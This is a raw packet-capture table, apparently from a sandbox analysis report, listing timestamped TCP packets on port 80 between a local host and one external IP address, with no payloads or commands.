Nov 20, 2024 12:58:02.183960915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.183979034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.183993101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.184005976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.184021950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.184043884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.186346054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.186363935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.186398029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.186412096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.188707113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.188730001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.188755035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.188770056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.190970898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.190988064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.191003084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.191016912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.191041946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.193105936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.193125010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.193155050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.193170071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.195271969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.195288897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.195323944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.195338964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.201607943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.201626062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.201658010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.201667070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.201673985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.201818943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.203531981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.203548908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.203561068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.203592062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.203605890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.205250978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.205266953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.205288887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.205306053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.207037926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.207055092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.207082987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.207097054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.209013939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.209031105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.209055901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.209072113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.210858107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.210875034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.210891008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.210912943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.210912943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.210931063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.212785006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.212800980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.212840080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.212869883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.214519024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.214535952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.214570999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.214586020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.216778994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.216797113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.216823101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.216840982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.218879938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.218897104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.218911886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.218933105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.218950033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.221226931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.221276999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.222428083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.222484112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.222584009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.222624063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.224980116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.224996090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.225034952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.225053072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.226993084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.227019072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.227047920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.227062941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.228840113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.228858948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.228872061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.228899002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.228918076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.230829954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.230848074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.230882883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.230911970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.232587099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232646942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.232747078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232789993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.232881069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232897997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232914925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232928991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.232934952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.232961893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.232974052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.234224081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.234241009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.234256983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.234273911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.234313965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.236113071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.236130953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.236217976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.237920046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.237937927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.237951994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.237972021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.238003016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.239774942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.239794016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.239801884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.239846945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.241780996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.241797924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.241816044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.241827011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.241859913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.247306108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.247369051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.378117085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.378277063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.378302097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.378319025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.378341913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.378357887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.379797935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.379815102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.379863977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.381007910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.381809950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.381846905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.381887913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.381922007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.383810997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.383852005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.383876085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.383905888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.383934021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.383992910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.385557890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.385601044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.385644913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.385644913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.387428045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.387471914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.387499094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.387521029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.389576912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.389621973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.389643908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.389668941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.389704943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.389750004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391146898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391201019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391289949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391344070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391504049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391521931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391541004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391550064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391561031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391576052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391716003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391732931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391753912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.391762018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391771078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.391788006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.393225908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.393244982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.393351078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.393351078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.394774914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.394795895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.394825935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.394846916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.396239042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.396256924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.396275043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.396289110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.396303892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.396315098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.397699118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.397720098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.397747993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.397763968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.399199963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.399221897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.399249077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.399261951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.400690079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.400711060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.400727034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.400739908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.400753021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.400765896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.402081013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.402100086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.402134895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.402153015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.403496981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.403516054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.403544903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.403558016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.404748917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.404766083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.404782057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.404798031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.404809952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.404822111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.406069040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.406090975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.406116962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.406136036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.407327890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.407350063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.407366991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.407382011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.407396078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.407416105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.408479929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.408499002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.408524990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.408540964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.409568071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.409586906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.409612894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.409625053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.410675049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.410692930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.410710096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.410722017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.410736084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.410748959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.411787033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.411803961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.411822081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.411835909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.411861897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.412905931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.412925005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.412974119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.412992954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.414027929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.414071083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.414596081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.414613008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.414634943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.414649010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.415746927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.415764093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.415780067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.415800095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.415817976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.416830063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.416850090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.416867971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.416882038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.416901112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.416915894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.417855978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.417872906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.417896986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.417908907 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.418790102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.418808937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.418831110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.418847084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.419718981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.419734955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.419749022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.419763088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.419775963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.419796944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.420696974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.420713902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.420749903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.420770884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.421628952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.421644926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.421662092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.421674013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.421700954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.421715975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.422607899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.422626019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.422651052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.422667027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.423491955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.423508883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.423522949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.423537016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.423566103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.423574924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.424386024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.424405098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.424432039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.424446106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.425340891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.425359011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.425391912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.425410986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.426184893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.426201105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.426214933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.426227093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.426239967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.426275015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.427054882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.427073002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.427088022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.427102089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.427114964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.427138090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.427923918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.427941084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.427966118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.427983999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.428761959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.428778887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.428803921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.428817034 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.429568052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.429584026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.429599047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.429620028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.429635048 CET	49761	80	192.168.2.4	185.215.113.16
